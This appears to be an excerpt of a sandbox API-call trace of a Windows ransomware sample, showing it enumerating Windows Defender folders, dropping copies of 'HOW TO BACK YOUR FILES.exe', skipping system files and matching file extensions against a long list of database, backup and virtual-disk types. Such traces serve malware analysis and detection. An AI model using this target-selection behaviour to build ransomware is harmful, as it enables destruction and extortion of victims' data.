	[0079.155] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.155] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.155] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="Apollon865.txt.exe") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2=".") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="..") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="windows") returned -1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="bootmgr") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="temp") returned -1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="pagefile.sys") returned -1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="boot") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="ids.txt") returned 1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="ntuser.dat") returned -1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="perflogs") returned -1
	[0079.155] lstrcmpiW (lpString1="LocalCopy", lpString2="MSBuild") returned -1
	[0079.155] lstrlenW (lpString="LocalCopy") returned 9
	[0079.155] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned 64
	[0079.156] lstrcpyW (in: lpString1=0x119e664, lpString2="LocalCopy" | out: lpString1="LocalCopy") returned="LocalCopy"
	[0079.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0079.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0079.156] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc10
	[0079.156] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="Apollon865.txt.exe") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2=".") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="..") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="windows") returned -1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="bootmgr") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="temp") returned -1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="pagefile.sys") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="boot") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="ids.txt") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="ntuser.dat") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="perflogs") returned 1
	[0079.156] lstrcmpiW (lpString1="Quarantine", lpString2="MSBuild") returned 1
	[0079.156] lstrlenW (lpString="Quarantine") returned 10
	[0079.156] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned 55
	[0079.156] lstrcpyW (in: lpString1=0x119e664, lpString2="Quarantine" | out: lpString1="Quarantine") returned="Quarantine"
	[0079.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0079.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0079.156] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0079.156] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="Apollon865.txt.exe") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2=".") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="..") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="windows") returned -1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="bootmgr") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="temp") returned -1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="pagefile.sys") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="boot") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="ids.txt") returned 1
	[0079.156] lstrcmpiW (lpString1="Scans", lpString2="ntuser.dat") returned 1
	[0079.157] lstrcmpiW (lpString1="Scans", lpString2="perflogs") returned 1
	[0079.157] lstrcmpiW (lpString1="Scans", lpString2="MSBuild") returned 1
	[0079.157] lstrlenW (lpString="Scans") returned 5
	[0079.157] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned 56
	[0079.157] lstrcpyW (in: lpString1=0x119e664, lpString2="Scans" | out: lpString1="Scans") returned="Scans"
	[0079.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0079.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afd58
	[0079.157] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0079.157] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="Apollon865.txt.exe") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2=".") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="..") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="windows") returned -1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="bootmgr") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="temp") returned -1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="pagefile.sys") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="boot") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="ids.txt") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="ntuser.dat") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="perflogs") returned 1
	[0079.157] lstrcmpiW (lpString1="Support", lpString2="MSBuild") returned 1
	[0079.157] lstrlenW (lpString="Support") returned 7
	[0079.157] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned 51
	[0079.157] lstrcpyW (in: lpString1=0x119e664, lpString2="Support" | out: lpString1="Support") returned="Support"
	[0079.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0079.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a8a8
	[0079.157] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0079.157] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0
	[0079.157] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.157] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0079.157] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support"
	[0079.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0079.158] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned 53
	[0079.158] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support"
	[0079.158] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.158] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.158] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.158] GetLastError () returned 0x0
	[0079.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.158] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.159] CloseHandle (hObject=0x10c) returned 1
	[0079.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.159] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.159] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.159] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.159] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.159] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.159] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.159] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.159] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.159] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.159] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.159] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.159] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.159] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="Apollon865.txt.exe") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2=".") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="..") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="windows") returned -1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="bootmgr") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="temp") returned -1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="pagefile.sys") returned -1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="boot") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="ids.txt") returned 1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="ntuser.dat") returned -1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="perflogs") returned -1
	[0079.159] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2="MSBuild") returned -1
	[0079.159] lstrlenW (lpString="MPLog-07132009-221054.log") returned 25
	[0079.160] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*") returned 55
	[0079.160] lstrcpyW (in: lpString1=0x119e674, lpString2="MPLog-07132009-221054.log" | out: lpString1="MPLog-07132009-221054.log") returned="MPLog-07132009-221054.log"
	[0079.160] lstrlenW (lpString="MPLog-07132009-221054.log") returned 25
	[0079.160] lstrlenW (lpString="Apollon865") returned 10
	[0079.160] lstrcmpiW (lpString1="221054.log", lpString2="Apollon865") returned -1
	[0079.160] lstrlenW (lpString=".dll") returned 4
	[0079.160] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2=".dll") returned 1
	[0079.160] lstrlenW (lpString=".lnk") returned 4
	[0079.160] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2=".lnk") returned 1
	[0079.160] lstrlenW (lpString=".ini") returned 4
	[0079.160] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2=".ini") returned 1
	[0079.160] lstrlenW (lpString=".sys") returned 4
	[0079.160] lstrcmpiW (lpString1="MPLog-07132009-221054.log", lpString2=".sys") returned 1
	[0079.160] lstrlenW (lpString="MPLog-07132009-221054.log") returned 25
	[0079.160] lstrlenW (lpString="bak") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0079.160] lstrlenW (lpString="ba_") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0079.160] lstrlenW (lpString="dbb") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0079.160] lstrlenW (lpString="vmdk") returned 4
	[0079.160] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0079.160] lstrlenW (lpString="rar") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0079.160] lstrlenW (lpString="zip") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0079.160] lstrlenW (lpString="tgz") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0079.160] lstrlenW (lpString="vbox") returned 4
	[0079.160] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0079.160] lstrlenW (lpString="vdi") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0079.160] lstrlenW (lpString="vhd") returned 3
	[0079.160] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0079.160] lstrlenW (lpString="vhdx") returned 4
	[0079.160] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0079.160] lstrlenW (lpString="avhd") returned 4
	[0079.160] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0079.161] lstrlenW (lpString="db") returned 2
	[0079.161] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0079.161] lstrlenW (lpString="db2") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0079.161] lstrlenW (lpString="db3") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0079.161] lstrlenW (lpString="dbf") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0079.161] lstrlenW (lpString="mdf") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0079.161] lstrlenW (lpString="mdb") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0079.161] lstrlenW (lpString="sql") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0079.161] lstrlenW (lpString="sqlite") returned 6
	[0079.161] lstrcmpiW (lpString1="54.log", lpString2="sqlite") returned -1
	[0079.161] lstrlenW (lpString="sqlite3") returned 7
	[0079.161] lstrcmpiW (lpString1="054.log", lpString2="sqlite3") returned -1
	[0079.161] lstrlenW (lpString="sqlitedb") returned 8
	[0079.161] lstrcmpiW (lpString1="1054.log", lpString2="sqlitedb") returned -1
	[0079.161] lstrlenW (lpString="xml") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0079.161] lstrlenW (lpString="$er") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0079.161] lstrlenW (lpString="4dd") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0079.161] lstrlenW (lpString="4dl") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0079.161] lstrlenW (lpString="^^^") returned 3
	[0079.161] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0079.162] lstrlenW (lpString="abs") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0079.162] lstrlenW (lpString="abx") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0079.162] lstrlenW (lpString="accdb") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accdb") returned -1
	[0079.162] lstrlenW (lpString="accdc") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accdc") returned -1
	[0079.162] lstrlenW (lpString="accde") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accde") returned -1
	[0079.162] lstrlenW (lpString="accdr") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accdr") returned -1
	[0079.162] lstrlenW (lpString="accdt") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accdt") returned -1
	[0079.162] lstrlenW (lpString="accdw") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accdw") returned -1
	[0079.162] lstrlenW (lpString="accft") returned 5
	[0079.162] lstrcmpiW (lpString1="4.log", lpString2="accft") returned -1
	[0079.162] lstrlenW (lpString="adb") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0079.162] lstrlenW (lpString="adb") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0079.162] lstrlenW (lpString="ade") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0079.162] lstrlenW (lpString="adf") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0079.162] lstrlenW (lpString="adn") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0079.162] lstrlenW (lpString="adp") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0079.162] lstrlenW (lpString="alf") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0079.162] lstrlenW (lpString="ask") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0079.162] lstrlenW (lpString="btr") returned 3
	[0079.162] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0079.163] lstrlenW (lpString="cat") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0079.163] lstrlenW (lpString="cdb") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0079.163] lstrlenW (lpString="ckp") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0079.163] lstrlenW (lpString="cma") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0079.163] lstrlenW (lpString="cpd") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0079.163] lstrlenW (lpString="dacpac") returned 6
	[0079.163] lstrcmpiW (lpString1="54.log", lpString2="dacpac") returned -1
	[0079.163] lstrlenW (lpString="dad") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0079.163] lstrlenW (lpString="dadiagrams") returned 10
	[0079.163] lstrcmpiW (lpString1="221054.log", lpString2="dadiagrams") returned -1
	[0079.163] lstrlenW (lpString="daschema") returned 8
	[0079.163] lstrcmpiW (lpString1="1054.log", lpString2="daschema") returned -1
	[0079.163] lstrlenW (lpString="db-journal") returned 10
	[0079.163] lstrcmpiW (lpString1="221054.log", lpString2="db-journal") returned -1
	[0079.163] lstrlenW (lpString="db-shm") returned 6
	[0079.163] lstrcmpiW (lpString1="54.log", lpString2="db-shm") returned -1
	[0079.163] lstrlenW (lpString="db-wal") returned 6
	[0079.163] lstrcmpiW (lpString1="54.log", lpString2="db-wal") returned -1
	[0079.163] lstrlenW (lpString="dbc") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0079.163] lstrlenW (lpString="dbs") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0079.163] lstrlenW (lpString="dbt") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0079.163] lstrlenW (lpString="dbv") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0079.163] lstrlenW (lpString="dbx") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0079.163] lstrlenW (lpString="dcb") returned 3
	[0079.163] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0079.164] lstrlenW (lpString="dct") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dct") returned 1
	[0079.164] lstrlenW (lpString="dcx") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1
	[0079.164] lstrlenW (lpString="ddl") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1
	[0079.164] lstrlenW (lpString="dlis") returned 4
	[0079.164] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1
	[0079.164] lstrlenW (lpString="dp1") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1
	[0079.164] lstrlenW (lpString="dqy") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1
	[0079.164] lstrlenW (lpString="dsk") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1
	[0079.164] lstrlenW (lpString="dsn") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1
	[0079.164] lstrlenW (lpString="dtsx") returned 4
	[0079.164] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1
	[0079.164] lstrlenW (lpString="dxl") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1
	[0079.164] lstrlenW (lpString="eco") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="eco") returned 1
	[0079.164] lstrlenW (lpString="ecx") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1
	[0079.164] lstrlenW (lpString="edb") returned 3
	[0079.164] lstrcmpiW (lpString1="log", lpString2="edb") returned 1
	[0079.164] lstrlenW (lpString="epim") returned 4
	[0079.164] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1
